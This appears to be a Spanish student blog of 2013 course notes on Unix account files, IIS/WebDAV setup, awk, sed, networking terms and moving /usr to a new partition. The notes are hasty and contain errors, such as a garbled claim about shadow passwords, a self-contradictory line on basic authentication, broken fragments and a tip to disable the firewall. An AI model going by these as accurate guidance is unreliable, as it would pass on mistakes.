miércoles, 20 de noviembre de 2013

Clase 1 Seguridad Unix

/etc/passwd                     Version previa -> /etc/passwd-

/etc/shadow                     Version previa -> /etc/shadow-


/etc/passwd -> vipw

/shadow -> vipw -s

/etc/group -> vigr


hay otro archivo que casi no se usa

/etc/gshadow -> vigr -s          

no es recomendable editar lors archivos, verifica la sintaxi y marca algun problema.

dependiendo de unix hay maneras de hacerlo.


/etc/passwd

Contiene 7 campos separadso por dos puntos:

curso:x:501:100:Curso de hardening:/home/curso:/bin/bash

\-1/:

gid 100  -> es el grupo inicial del usuario, solamente es 1 -> va mapeado en el passwd


hay una lista de grupos -> 33,80,1000,101  -> grupos complementarios.

Nota: subirá al moodle.


getent  passwd  -> podemos ver el contenido de passwd


            group
            shadow
            gshadow

son parámetros

Investigar:

RTFM
 RTFL

getent -> se conecta a LDAP, se pueden mapear en un directorio activo, junta lo que tengamos en passwd con getent, da una mayor oportunidad de hacerlo.


 /etc/shadow

se recomientda que no tengan shadow por hardening.

dentro de shell

cat /etc/shells

se recomienda que el shell que tenga el listado de usuario este en el sig archivo.

/etc/shells -> aquí se listan todos.

hay progarmas que hacen auditorias, podemos haber escrito un eshell, pero si no esta en ése archivo las herramientas de auditoria marcará un error.

ej:
#/etc/shells:
/bin/sh
/bin/dash
/bin/bash
/bin/rbash

/usr/bin/nologin     -> es un shell especializado para seguridad, si tenemos el binario los podemos usar para ver los logins, funciona para debian.

si no esta en el liunx que nos gusta puede estar en /bin/false

/etc/shadow

contiene 9 campos separados por dos puntos:

curso:$$$:16017:

en la parte de hash podemos ver en donde se guarda, podemos ver los tipos de valides que haya en la cuenta.

/etc/group

contiene 4 campos separados por dos punts

sudo:x:27:curso

\-1-/:2: 3:

id nombre de usuario

getent passwd congreso

se esta haciendo una consulta específico de ese usuario en el archivo passwd.

UID : identificador de usuario

GID: Identificador de grupo

UID y GID 0 reservados para root

nota: hay algunas compañias que utilizan freebsd, si editamos

tarea:

hay una base de datos MASTER passwd DB, en freebsd, pero tenemos que editar con otros comandos la basde de dats maestra, una vez que se edita, con el segundo comando podemos olver a generar los archivos de /etc/passwd
/etc/shadow .

Visualizar identificadores del usuario.

w en linux para visualizar los usuarios con sesión activa en el seistema.


identificacion de usuarios no autorizados

Permisos en UNIX

user, group  others.

el la gsiguiente

sgt uid-o¡o --Ñ mode




 /var/bla 


chown u:g


.ññ--ñ


se refleja en las variables de entorno

sudo su -



ps -auxf

muestra la tabla de los procesos


hay dos formas con octal y con g+w

para agreegar al grupo la bandera de escritura.



escenario 2

solucion 1 :
se agregan al mismo grupo inicial

gid + chmod g+s

solucion 2:

cambio manual, que es un usuario que hace un chmod






martes, 22 de octubre de 2013

Servidores IIS

Tarea WebDAV

es un sistema de archivos que se basan en web.

es como un dropbox.

Marcamos todas hasta la parte de aplicaciones.

management service si

no hay forma de actualizar IIS.



Tarea: configuraremos un webdav

para mañana. Miércoles

pone en el servidor web da acceso a una carpteta o espacio, el acceso es através de un protocolo ewb.

levantamos el servicio IIS, y le daremos publicascion con webdav y será por HTTP.

 Application Pool

nos da los servicios que podemos aplicar.

Cuando se ejecutaba IIS, habia errores,

habia 2 cuentas con privilegios, si se lograba vulnerar IIS, se podía tener acceso a  todo.

microsoft hizo lo siguiente.

Cuando se levantaba IIS, se levantaban todos los módulos.

provocando vectores de ataque.

haciendo algo muy parecido a Apache.

Application Pools -> son espacios en memoria, que son instancias de IIS.

Applications pools tendrá permisos.


solo se podrá ver lo que tiene acceso con Opciones avanzadas de Defautl application Pool.


con eso podemos limitar los accesos del usuario, como si fuera una jaula, para que se puedan ejecutar con solo los permisos del usuario.

se puede hacer la autenticación desde active directory.

Anonymous Authentication -> no requiere nada

ASP.NET -> es para aplicaciones hechas en asp.

Basic Authentication ->
Digest Authentication ->

Nota si el cliente pide el sitio web, y utilizamos kerberos, no se interactua con el usuario, ya que solamente pide el ticket de servicio.

la authenticación básica funciona basicamente igual -> pero no es recomendable a menos de que tengamos un canal cifrado.

lo primero que mandaremos será el usuario y la contraseña.

si el candl está cifrado no hay problema, pero si no no hay problema.

Los documentos que se trataran de llamar desde el inicio será

default html

default.asp

index.htm

index.html


la información solamente se verá desde el servicdor web.

está hecho asi para poder depurar los errores localmente, nota: se puede hacer para que se vea desde cualquier lado.





habilitaremos la opción :

Enable, para poder ver la carpeta.

reiniciamos el servicio y ya

;P



nota, no hay que habilitar las peticiones de error.

podemos agregar nuestras propias páginas de error.


con IP Address and Domain Restrictions

podemos agregar reglas, las reglas se leeran desde arriba hacia abajo.


cuando hacemos aplicaciones .NET, instala un servidor IIS pequeño para poder desarrollar las aplicaciones.


Loggin, nos indica quien se conecto, etc..




con formato w3c B|
















nos servirá para auditar, para análisis forense etc.






Podemos habilitar extensiones específicas para el servidor.



podemos filtrar solicitudes

con expresiones regulares, Ej:

si estan pidiendo una extensión con cierto archivo, podemos crear las reglas ..
se aplica para alguna extensión, para ciertas cadenas, Ej: malware, algo como camerunes(malware), podemos crear el arreglo específico.

Puede hacerse por acciones HTTP (post, request)..

Lo mejor para hacer filtrado es mejor hacer un web application firewall.

(investigar).

SSL Settings




podemos decirle al IIS, que no sea por windows por linux, si no un certificado, podemos aceptar certificados, que no acepten, que lo ignore o que requiera un certificado, eln lugar de estar poniendo contraseña, jalamos el certificado.

Cuando modificamos la configuración, generamos los sitios para el servidor.


Podemos aplicarle configuraciones al servidor

podemos mandar los certificados al CA para que nos certifique, crearemos un certificado de dominio.



el nombre del dominio debera estar aqui



hará los procesos de CA, y lo instalará


le tendremos que dar la solicitud a la CA para que lo firme





usamos los certificados para autenticar a los usuarios

Tarea par amñana, levantar IIS,

con webDAV.

Con el sitio habilitamos el webDAV para que ciertos sitios puedan accesder.


Provar con un cliente que tenga acceso al webDAV, una vez hecho eso , con el sitio en IIS, aplicar SSL

para que podamos conectarnos con el cliente via http,

buscar Map network dilur en el cliente

la opcion nos dice que nos podemos conectar a webDAV.

y pondremos la direccion del sitio.

https:....




que el cliente se valide por certificado.

agregar el usuario a un grupo de AD, que tiene configurado el acceso al IIS.

si no tiene el certificado no se podrá conectar.

GPO

nota: nunca habilitar ésta opción.
abrir la política del dominio.


la politica de allow log  que esta dentro de policies , windows settings, security settings, en local policies en user rule..



no agregarla ya que un cliente no pueda agregarlo.

lo mejor es no probarlo en el mismo, si no en otro.

nota: deshabilitar el firewall, para que tengamos menos variables.
la tarea, necesita un tiempo,




miércoles, 9 de octubre de 2013

AWK

actualmnte en openBSD y Linux se utiliza GAWK,  que es la variante de GNU.

esta en los libros de éstos autores.

Aho, Weinberger, Kernighan
Addison -Wesley

Sintáxis:

awk -f programa [-v var=valor][archivos(s)]

awk 'programa' [-v var=valor][archivo(s)]

si le queremos enviar una variable desde la línea de comandos es con -v var=valor de la variable..

Estructura de un programa

Los programas awk son una secuencia de enunciados PATRÓN-ACCIÓN.

patrón {acción}
patrón {acción}

Patrón : Condición que debe cumplir la línea

Acción: Para que se pueda ejecutar se debe cumplir la condición.

Evaluación Patrón -Acción

Ej:
p{a}, pero se puede encontrar otras variantes, donde solamente haya patrón.

* Si no se especifica la acción, la línea se imprime.

o
* Si no se especifica patrón, la acción corresponde a todas las líneas del archivo.

----------------- - > linea 1
-----------------

si la línea 1 coincide con el patrón se ejecuta la acción.

así se ejecuta para todas la líneas del archivo.

siendo programas que procesan línea por línea.

Nota: Exísten patrones especiales(requieren acción)

BEGIN : implica que se ejecutará todo lo que hay en la acción antes de leer el archivo de entrada.
Ej:
BEGIN{a}

END: necesita forzosamente tener una acción, cuando encuentre el end of file EOF, del archivo se va a la acción de END
Ej:

END{a}

otros patronces corresponde a expresiones regulares.

/expr_reg/ : Todas las expresiones regulares se ponen entre diagonales.

patrón1,patrón2 -> Son patrones de rango. Coincide con cada línea desde una que coincida con patrón1, hasta la siguiente línea que coincida con patrón2.

no necesariamente patrón, necesita tener evaluación, normalmente son para expresiones regulares.

Nota: Dentro de los patrones se pueden tener funciones.

Ej:

a==1{a} -> si la linea se encuentra un 1 se ejecuta {a}

o

ALogin/{a=1}
a==1{a}   -> con ésto se podrá ejecutar el flujo del programa.

Nota: no se necesitan declarar las variables, en el momento en que se usan exísten.

también awk inicializa las variables a 0 o cadena vacía.

* Realiza conversión automática de tipos por lo que se dice que no hay tipos.

Ej:

a=1
b=2
c=a+b

awk, se encarga de hacer las conversiones numéricas. Pero sí :

d="hola" a

entonces cuando se termine :
d=hola1 -> no interesandole si es un número, concatenando las cadenas con números o caractéres.

Ejemplo:
Se le pueden pasar argumentos, que no se consideran para inicializar, si no los toma como argumentos.
awk -f prog.awk arch1 arch2

Variables especiales

ENVIRON
FILENAME
FNR
NR
        -> el separador por default de registros es el cambio de línea.
RS


conceptos a conocer -> campo registro y archivo.

campo-> una agrupación de campo, nos da un registro.

una agrupación de registro - > nos da un archivo.

Ej:
login:OUID:GID:GEO:HOME:SHELL -> son 7 campos, que nos da en conjunto un archivo, que es el passwd.

awk trabaja mucho con esos conceptos.

siendo el separador de campos es el cambio de línea.

awk es a nivel bajo, permitiendo procesar archivos.

La primera variable es FILENAME

la segunda variable es: el numero de registros que se está trabajando pero del FILENAME.

entonces se necesita saber que registro se esta procesando de que archivo, pero también se puede guardar el número de registros. etc.

de manera que se puede saber que registros se han procesado.

NR -> va cambiando conforme se va leyendo.

RS -> es el separador de entrada de registros.

División de Líneas en Campos.

por omisión, un campo es una secuencia de caracteres que no contiene espacios ni tabuladores.

FS -> nos da el valor por omisión del separador de campos de entrada.
pero si quisieramos procesar el archivo /etc/passwd.
el separador de campos sería :
pero tenemos que decirselo antes de leer la línea si no no aplica.

OFS -> variable de separador de campos de salida, que por omisión es blanco.
NF -> nos arroja el número de campos de una línea.

Ej:

1         2       3
hola como estas

cuando leamos la línea, NF - nos arrojará 3 porque son 3 campos.

otras variables especiales:

$0 -> Toda la línea
$1 -> primer campo
$NF -> Último campo

Nota: en awk podemos trabajar redireccionamiento, pero no en la línea de comandos, si no dentro del código de awk. Son muy parecidos a los redireccionamientos de shell, excepto por algunas considereaciones, pero en el momento que hacemos un redireccionamiento, se abre una archivo.

Pero si no se cierra explícitamente el redireccionamiento, el archivo se quede abierto.

Ej:

"w" > "archivo"

close("w")

la primera vez, mientras no se haga el close, el redireccionamiento no es destructivo; después de que se haga el close se hace destructivo el redireccionamiento.

Salida de datos

Función print

print expresión

Cualquier cosa que "No sea una variable" o "intstrucción" se debe poner entre comillas.

awk 'BEGIN{print "hola mundo"}'

awk '{print $1}' nomina.dat

Función printf
(imprime el formato)

printf "formato", variables

awk '{printf "%10s %10.2f\n",$1,$3}' nomina.dat

Operadores

Operadores aritméticos: +-*/%^
Operadores de asignación: =, +=, -=,*=,/=,^=
Operadores de Incremento y decremento: ++, --
Operadores de coincidencia: ~, !~
Operadores de comparación : &&, || , !
Operadores de concatenación: Espacio_en_blanco
Expresiones de condición: expresión ? Si_V: Si_F
La expresion regular se debe poner entre diagonales:
/expr_reg/

Getline

Sirve para leer una línea de datos.
No altera el flujo del progra,a

sirve para leer las lineas de datos sin pasarsela a línea de comandos.


su salida exitos es 1
error ->


Getline
lee l siguiente linea del archivo de entrada, sin alterar el flujo del programa.

Afecta las variables $0, $n, NF, NR, FNR.

getline variable       ->       afecta a la variable, NR, FNR.


getline < "archivo"    -> Se puede redireccionar la entradad desde un archivo, Afecta a $0, $n, NF


getline < "/dev/tty" -> lee del teclado, el genérico es tty


getline < "-"  -> lee de la entrada estándar.

"comando" | getline   -> Ejecuta el comando y envía la siguiente línea de la salida a getline. Afecta
 a $0

Ejemplos:




para el archivo frutas2

busca con $0 la coincidencia con pera, si si es la obtiene si no, imrime "Num Linea",  NR que es el número de registro de la línea.
despues imprime Linea, con el contenido de la línea actual $0


Ejemplo2:





Tomando como referencia /usr/bin/awk, que es el lugar donde esta el intérprete, podemos colocarlo hasta arriba del script para que sea interpretado inmediantamente al hacer ./


cuando ejecutamos w
simplemente, nos da 4 líneas.

Ej:

awk '<- enter="" p="">>BEGIN{
>"w" | getline
> print $0
>"w" | getline
> print $0
> "w" | getline
> print $0
> "w" | getline
> print $0
> "w" | getline
> print $0
>}'

con getline, solamente se obtiene la primera línea.

despues se ejecuta otra vez w, cuando hace getline se va por la segunda línea de entrada, no por la primera.

en la 4 se termino de leer la entrada de w, pero cuando se hace la 5ta ya no hay nada, por lo tanto repite la línea anterior.

lo que se debió hacer antes de la getline.

osea en la 4 , es hacer close a w

print $0 ; close("w")


Arreglo

Los arreglos no se declaran, se ceran automáticamente a medida que son necesitados.
* Los arreglos se enumeran a partir de 1.
* No hay problemas de memoria contigua ya que enrealidad son variables separadas.
* Los elementos no se almacenan en un orden determinado.

los arreglos se almacenan en direferentes lugares..:
|_|
     |_|
              |_|
No necesariamente estan contiguos, eso viene debido a que no se declaran, por lo tanto no hay reserva de memoria.

Lo crea cuando lo va a necesitar.

Los arreglos numéricos, se enumeran a partir de 1.

es decir:

N[1]
N[2]
.. N[n]
creandolos a partir de 1, pero no es completamente cierto.

por lo tanto cuando se hace un barrido de un arreglo, awk no acsegura que muestre los elementos ordenadamente.
eso depende del control :

for i= 1 in N
  print N[i]

como no le estamos dando un orden al for, puede imprimir el arreglo en desorden.

Arreglos asociativos

Una característica de awk es que los índices pueden ser un número o una cadena de caracteres e incluso ambos.

:P

Ej: N[gato]
      N[perro]

por lo tanto, todos los arreglos en awk son asociativos.

Función split

siempre regreesa elementos numéricos del arreglo.

split(cadena, arreglo[,separador])

a parte de los elementos separados, los pone en un arreglo.

Ej: awkromanos.awk






la función split regresa 10, si le asignáramos eso a una variable tendría 10, a parte de crear el arreglo con los elementos numéricos

$1 > 0 && $1 < 10 -> imprime números del primer campo


Nota: el lunes empieza


Tarea: acronimo.dat o acronimos.dat

otro es datos2 y acronimos.awk


cuando corramos tenemos que correrlo asi
awk -f acronimos.awk -f acronimos datos2    -> lo que tenemos que hacer es explicar qu ehace .

es la tarea para mañana


estudiar: examen viene de 2 partes,
 
el la parte teórica, saca a los alumnos, bla bla, si suena el cell baja punto a tosdos D:

martes, 8 de octubre de 2013

Sed Tutorial

SED 

opera líea por línea por lo que no hay restricciones en cuanto al tamaño de los archivos.

no importa si el archivo tiene muchas líneas, solamente se ocupará en un momento el espacio en memoria, tiene ventajas.

Es un editor no interactivo, ya que funciona direfente.

Sed permite editar un archivo en modo linea de comandos sin interactuar con el archivo, le daremos comandos y al final nos regresará los resultados del archivo.

no modifica al archivo si no modifica a lo que se encuentra en memoria y lo mandará a la salida estándar.


La entrada estándar, puede ser un archivo, puede ser una línea, donde se tendrán n líneas.

habrá una entrada de memoria que tendrá una entrada de patrones.

habrá una entrada de memoria que se llamará espacio de retención, que será un tipo de buffer de almcenamiento.

se podrá tomar cualquier linea de la entrada estándar y se copiará al espacio de patrones, y después se editará la línea y se enviará a la entrada estándar, puede ser un archivo o la pantalla.

Si se tendrá que lmacenar el resultado para después aplicarlo se usará el espacio de retención, y después se podrá enviar al espacio de patrones.

Sed por omisión imprime todas las líneas.

independientemente si se les aplico o no un cambio.

sed -n -> que indica no impresión, indicando lo que imprimirá solamente.

sed -e -> permite dar varios comandos a ejecutar.

sed -f .> podemos darle un archivo con comandos .

VI -> es un editor orientado a pantalla, no es un editor orientado a línea.

ed y vi son los dos editores principales en UNIX.

ed es un editor orientado a línea.

exíste una version mejorada llamada -> ex

el editor vi, tiene un modo de operación que se conoce -ex

y todos los comandos que se pueden ejecutar en vi, son comandos basados en ed, que es un editor orientado a línea.

sed es un editor de flujo, pero muchos de sus comandos funcionan muy parecido a los editores orientados a línea de UNIX.

Ej:

en vi, se pueden hacer sustituciones de una palabra por otra palabra, esas sustituciones son del editor ex, y esas sustituciones las toma sed, para trabajar.


Instrucciones de sed

sintáxis -> [dirección1 [, dirección2]] función [argumentos]

si se aplica a dirección1, la función aplica a todas las líenas que cumplan la condición.

ej:

vi frutas

si queremos borra de la linea 1,3d

el 1 es la dirección 1 , dirección2, función

 Hay funciones que no necesitan argumentos, hay funciones que si necesitan argumentos.

Si no se especifican direcciones, en caso de sed, que trabaja línea por línea, la función aplica a todas las líneas de entrada.

en el caso de vi, solamente aplica a la línea donde se encuentra el prompt

es más poderoso que vi, aunque vi, permite expresiones regulares.

¿Qué puede ser una dirección?

puede ser un número decimal, que indica la posición exacta de la línea.
$  -> implica la última línea del archivo

Ej:
:.,$d    -> que implica desde donde te encuentras actualmente borra, hasta el final.

/regexp/  -> asi se escriben las expresiones regulares en sed.

Ej:

sed -n '/^man/,/^na/p'

manzana
uva
naranja
sandia
fresa
kiwi
guayaba
hola

/^man/ -> es la directiva1,  la directiva2 es /^na/ , después la función, siendo que la función común es imprimir.

la cual imprimira hasta naranja.

siendo el archivo original:


manzana
uva
naranja
sandía
fresa
kiwi
guayaba
hola

Ej2: sed -n '4,$p' frutas

imprimira desde la línea 4 hasta el final

Consideraciones

si antes de la letra de la función se pone un signo de admiración !, se aplica a todas las 
líneas que no cumplan con las direcciones en (csh\!)


exísten delimitadoras  con @/usr/local/bin/perl@ para claridad en los comandos.

Ej:

sed -n '/col/=' frutas


sed -n '/^man/='  -> que nos imprimirá en que linea se encuentra la palabra que comienza en man


funciones para edición
en Unix sólo aceptan dirección1

a\ -> agregar
i\ -> insertar
c\ -> cambiar


le podemos poner al archivo las palabras en donde queramos y lo que querramos agregar mediante los comandos anteriores con sed.


Ej:

sed '/^man/a\ <- enter="" p="">> mango' frutas (osea al archivo)

y agrregará a la palabra que comienza con man, mango

insertar es antes y añadir es después.

cambiar -> sustituye toda la línea.

el siguiente comando es borrar

sed '1d' frutas

que borra la primera línea

sed '1,3d' frutas
borra desde la línea 1 hasta la 3


sed '$d' frutas  -> borra la última línea, del archivo

s [sustituir] [dirección1[,dirección2]]s/patrón/reemplazo/banderas


sed 's/ipn/IPN/g' datos

traducirá el primero por el segundo para todo el archivo, si se le quita

sed 's/ipn/IPN/' datos -> solamente lo hará para la primera ocurrencia.

para poder reemplazar es con:

sed 's@/usr/local/bin/hello@/etc/hola@' archivo

con lo anterior cambiamos por linea de comandos sin modificar al archivo y lo traducimos.


Se puede utilizar la diagonal invertida

sed 's/:/\
>/2' columnas

el archivo original fue:
1:2:3:4
el archivo después de hacer lo anterior es:
1:2
3:4
con lo anterior coloca como columnas a partir del segundo campo


Nota: para AWK, habrán ejemplos en el moodle.

crearemos un archivo de texto, y con la siguiente búsqueda

sed 's/Seccion [1-9]\.[1-9]/(&)/' texto.txt

donde encuentra sección1.1  & vale seccion1.1, siendo el valor poniendolo en amperstand,







Ejemplo 2:

vamos a delimitar, abriendo un paréntesis para la primera delimitación

/(.*\):\(.*\)/\2:\1/

primero:segundo

siendo la primer ocurrencia -> primero, y la segunda ocurrencia -> segundo

lo que hará será sustituir  inversamente lo que tenga el archivo
\2:\1/

por lo que se necesita delimitar muy bien el archivo, lo que se quiere es simplificar de una manera sencila el intercambio del contenido de los archivo, también funciona para vi.

Etiquetas

:etiqueta -> pone un marcador en el script de sed

t[etiqueta] -> Si el resultado de una sustictución es exitoso, salta a la línea marcada con etiqueta o en su defecto al final del script.

T[etiqueta]

Ej:

calificación.txt


podemos crear archivos con extensión.sed :

ejemplo.sed





que lo que hará

lo primero que hace es tomar la primera línea de entrada:

Nombre=

a partir de [dir1,[dir2]]funcion, pero lo que tenemos aquí son funciones agrupadas.
en vez de tener una sola funcion, tendremos un conjunto de instrucciones agrupadas para la directiva Nombre.

Coincide la primera línea con la directiva Nombre?, si entonces se sustituye el patron por si mismo.

el amperstand se simplifica con la coincidencia, no haciendo ningún cambio.

despues .. fue la sustitución exitosa?, entonces fue exitosa...despues viene t, que implica ir a la etiqueta.

temrminando el archivo, pero el archivo de entrada no ha terminado, tomando la siguiente linea del archivo de entrada.

entrando con Nombre, despues se verifica, si corresponde con el primer patrón, despues viene t, para verificar, pero como no lo fue se va a s/Nombre=.* Ex=.^/& Tarea=00, que sería la segunda línea.

t pregunta de nuevo si fue exitoso, si si lo fue se va hasta el final del archivo.

& -> implica que coicida con si mismo la ocurrencia.

awk y sed funcionna muy parecido.

resumiendo, para cada línea evaluamos un lenguaje, siguiendo un flujo de arriba hacia abajo, pero si controlamos las etiquetas, podemos controlar el flujo del programa, siendo un if escondido.

Para ejecutarlo:

sed -f ejemplo.sed calificacion.txt

mandandole el archivo.sed el archivo que procesaremos.

con el segundo ejemplo, en vez de irse al final del archivo con t, se va a la etiqueta hola



tr "\t" "#" < lista | sed 's/\(.*\)#\(.*\)/\2\(\1\)/'
tr - > cambia o elimina
lo que hace es voltear el archivo, añadimos los paréntesis.

o más bien voltear los campos y colocar entre paréntesis los nombres

ctrl M, indica que hay un caracter que esta haciendo ruido,

vi
lo podemos abrir :$s/^v^M//g
capturando el ctrl M  y sustituirlo por nada, para todas las líneas



Uso del espacio de retención

Ejemplo3:

el gato es bonito
el perro es bello


copia el contenido del espacio de patrones al espacio de retención
h reemplaza coel gato es bonito

coincide la primera linea con la expre regular e la primera, ??
si coincide .. comenzando con h
h dice -> copiaras todo lo que esta en el espacio de patrones al espacio de retencion, teniendo lo mismo en el espacio de patrones con el espacio de retencion.

con s/ .* ... -> se sustituye, cualquier cosa, seguido de espacio, seguido de una subcadena es espacio loque sea


con la tercera linea...
en el espacio de patrones verfifica cualquier cosa hasta El, siendo la subcadena 2, seguido de lo que sea, es... bonito, es la subcadena 3 y se sustituirá por \2 GATO \3



quedando:
EL GATO es bonito

Nota: todo lo que se hace se opera en el espacio de patrones, solamente cuando agregamos o añadimos se utiliza el espacio de retención.

Hay ejemplos, que utiliza códigos en html, que quitaremos los tags o etiquetas, obteniendo la información que se muestra por el browsers.

y todo se ocupa con el espacio de patrones y el espacio de retención

miércoles, 25 de septiembre de 2013

Martes 24/9/13

Hola a todos, éstos dos días del nuevo curso que nos han estado impartiendo en DGTIC, han sido hasta cierto punto retroactivos encuanto al conocimiento, ya que hemos estado viendo las características de las diferentes redes que exísten.

Nota personal: el examen es creo en martes de la semana que viene.

Hoy vimos VLSM, y también algunos conceptos relacionados con SOC, NOC y TAC, también algunos ataques de malware como Pharming

Las tareas que han dejado han sido respecto a problemas de subnetting, como cuantas direcciones se necesitan para tantos host.

El dia de mañana haremos el enrutamiento estático y dinámico con algunos protocolos de enrutamiento de Cisco, de hecho dejó tarea de ello, que llevaramos mañana, o que lo iban a subir, pero hasta ahorita no he visto nada en el modle, por ende solamente haré la tarea en latex que dejaron, aunqeu actualmente se esta tardando como 52 minutos la descarga del maldito MacTex....

creo que si lo haré a mano.

La parte genial del curso es que me aclaró una duda respecto a como utilizar los GW y los broadcast.

ya que yo tenía una conepción diferente de ello

Las otras tareas que tengo para la semana, son la de alrato que es hacer una referencia (Olguín), hacer un programa en assembler para arqui de compus.... terminar el algoritmo del círculo, que espero ahoritra me salga en python.... también el viernes que tengo examen de criptografía y tengo los 2 exámenes de certificación de cisco... por ende si tengo mucha tarea..
pero bueno, haré aqui la de SOC, TAC y NOC.

SOC.- según ésta referencia http://www.computerns.com/network-security, menciona que un SOC es un centro de monitoreo de actividades de seguridad en la red de un cliente, que estudia críticamente diferentes anomalías detectadas, identificadas .

Los Centro de Operaciones de Seguridad se enfocan en la seguridad y la estabilidad.



NOC.- El propósito de los NOC, según ésta referencia http://www.csoonline.com/article/216884/efficiency-through-noc-soc-convergence, son los que se encargan de asegurar, "power, ping and pipe", los cuales son medidos por los SLA's (Service Level Agreements),

Nota: los NOC y SOC, tienden a compartir operaciones estructurales similares, pero difieren en que el NOC, necesita personal que sea más expertos en redes, que en SOC, que necsita más expertos en seguridad de la información.


Pharming -> según éste link :  http://www.techterms.com/definition/pharming

SCADA -> http://www.engineersgarage.com/articles/scada-systems

The first push was given by the 8 and 16 bit computers called minicomputers. The second was the microprocessors, several years later. Computers offered flexibility in programming and communicating with field data acquisition units that was previously being done by hard wired equipments. This was the dawn of SCADA. Many organizations have been involved with the standardization of SCADA systems since then, including the IEEE, American National Standards Institute, Electric Power Research Institute, International Electrotechnical Commission, DNP3 Users group etc.
Elements of SCADA Systems
SCADA monitors, controls and alarms the plant and/or regional facilities’ operating systems from a centralized location. It includes the communication of information between a SCADA central host computer, many scattered units and/or Programmable Logic Controllers. For example, in a water filtration plant, the remote units measure the pressure in pipes and report the readings to the central computer located somewhere in the control tower. In case of any anomaly, the SCADA system would alert the main station of the problem apprising it of other details like the severity of the anomaly and measurement values in an organized fashion. The systems may vary from simple, like temperature reporting in a building to complex like monitoring the traffic on many traffic lights. The system consists of the following elements:
 
1.      SCADA Master Station Computer Systems: It is the repository of the real-time or near real-time reported data collected from the remote terminal units connected to it. It is generally standard computer hardware equipment and very few SCADA system suppliers have ventured out to make their own computer equipment. A few companies like IBM and CDC did try making hardware for it, but the effort was short lived and commercial off-the-shelf computer products continue to be the main stay. The back end SCADA software must be able to repeatedly poll the RTUs for data values, should have software for their retrieval, storage and processing. The processing may include unit conversion, cataloguing into tables etc.
 
2.      Human-Machine Interface: This is the eye candy part on the host station. The values that have been stored in the host computers are presented to the human operator in an understandable and comprehensible form using HMIs. These may provide trending, diagnostic or management information and detailed schematics and animations representing the current states of the machines under its control. Pictorial representation being more understandable to humans is the preferred form in SCADA HMIs.
 
 UTM
ttp://www.webopedia.com/TERM/U/Unified_Threat_Management.html

SCADA





jueves, 19 de septiembre de 2013

Jueves 19/9/13

despues de crear el nuevo disco:

particionamos el nuevo disco


con fdisk /dev/sdb

luego m o n para la nueva

luego enter etc.. creando una nueva tabla de parciciones, que se ocupe todo el disco.

verificando con p escribimos los cambios con w


despues creamos un sistema de archivos

ls -l /dev/sd*


mkfs.ext3 /dev/sdb1

una vez que se hace creamos la partición.


para saber que tenemos montado es mount

simulando que nuuestro disco se esta llenando:

df -h

du  nos da los detalles recursivamente.

du -s /*   con ello sacamos el tamaño de todo loque esta en raíz,

du -s /* 2>/dev/null | sort -n     mandamos todos los errores a null y ordenamos numéricamente el contenido de todo el disco.


Nota: el redireccionamiento esta en el primer comando, porque el primer comando manda los archivos de errores, los archivos en proc son cosas en memoria, por ende puede haber muchos errores ahi..

por eso es que se hace el redireccionamiento en el primer comando.
- si lo hacemos sin el sort, lo hará en el orden que él entienda.

/usr/ es el mas grande, por eso lo ampliaremos.

tiene muchos binarios, pero moveremos su contenido a la nueva partición.

1) generamos una particion que tenga todo lo quetenga usr y lo pongamos en un nuevo punto de montaje, para que el sistema use usr de manera transparente.

montando en var a usr.

1) copiando todo lo que esta en /usr a la nueva particion.

2) montamos la nueva particion y luego copiamos lo de usr a mount.

mount /dev/sdb1 /mnt

pero sin hacer cp , ya que copy trabaja a nivel humano, porque cuando copia un archivo, copia cualquier tipo de archivo.

Ej: las ligas simbólicas.

como se siguen las ligas simbólicas se copiaran todas las cosas queestarán en ram con el simple copy, por ende lo que se utiliza es cpio

es un empaquetador, pero lo que hace son copias a un nivel bajo, pero también es capaz de bajarse en las capas y evitar ciertos errores, pero lo ayudaremos con un find para que no copie todo.

find /usr -mount  (lo que hará sera buscar y preguntar si el fs tiene un puto de montaje particular)

find /usr -mount -print0  (con print, nos manda el nombre completo en cuanto a ruta, pero de manera predeterminada agrega un salto de linea para cada resultado, pero no queremos eso porque cpio entendera cada salto de linea como parámetro, pero en vez del salto con 0 mandará un null caracter).

find /usr -mount -print0 | cpio -0dump /mnt

esta haciendo una copia masiva al directorio

si queremos monitorear la copia de los archivos pero en vez de estar pegado

watch -n 0 'ps -fea | grep cpio'

antes se utilizaba lilo,

grub1 yh la beta podian configurar todo en un archivo, ahora grub2 funciona como funcionaba lilo, que tiene scripts que en conjunto tieene sus configuraciones que genera el archivo maestro que no podemos modificar.

ls -l /boot/grub/grub.cfg

hay un directorio en /etc que se llama grub.d, que tiene scripts del grub, tiene el script de linux que lista los sistemas operativos que tenemos instalados.

listando los diferentes sistemas instalados.

debian fue uno de los primeros que usaron grub2, en linux estan los OS listados.

son scripts de bash, que tiene una seccion en la qcual se define el objeto lista, que tiene los archivos de vmlinuz

siendo un kernel monolitico que en escencia son vbinarios que tienen todo, montandose en RAM. bla bla.

grub por cada kernel nos da 2, uno a prueba de fallo s y el otro normal.

hay otro archivo que esta en /etc, que se llama grub, en ese archivo trae las opciones mas generales de grub.
Ej: podemos sacar una consola del propio menu de booteo, antes de iniciar el sistema.

grub2 usa un archivo grub que esta en /etc/grub.d /etc/default grub, un archivo que esta en ... las imagenes.
podemos generar el grub.conf con una herramienta.
si tenemos que usar un grub anterior al 2 se tiene que utilizar uno que se llama menu.lst

nos mando script de inodos, mando el libro de fs forensic análisis

despues de haber copiado los binarios o lo que contenia /usr, desmontamos.

despues hacemos el cambio el cambio,

1) modificando fstab agregando éste punto de montaje, aunque puede haber errores el reiniciar etc...etc...
resumiendo se haría mierda el sistema.

2) puede hacerse sin reiniciar, modificando fstab, pero sin reiniciar mandando llamar fstab.

puede verse los identificadores con ls -l /dev/disk/by-uuid/

viendo el uuid respectivo a la particion


aunque podemos agregar la particion /dev/sdb1 /usr

que le montariamos, pero tenemos que hacer, ya que se acabo de hacer la copia, y despues de que se modifica fstab, quitamos el dirrectorio que teniamos y montamos el nuevo.

Salto mortal:

which mv

which mount

which mkdir

afortunadamente estan en /usr si no deberiamos de hacer las referencias a esos comandos de la particion.

movemos /usr/ a /usr_  siendo el temporal.

creando el directorio /usr con los permisos propietarios, remontamos con

mount -a que remontia dtodo lo que fstab tenga. (actualiza)

lvm o ldm para copiar particiones de manera de espejo.


BASH

en el script getinode

#!/bin/bash

define al interprete que permite cargar el script, recordando el path con get inode ./getinode


a las variables se les pueen meter cadenas, numeros etc.

$0 las comillas inversan  son de ejecuución.
en medio de una cadena se puede llamar a ejecución con las comillas inversas.

echo "uso : `basename $0` "
basename trae todo excepto el nombre que trae, osea solamente el comando.

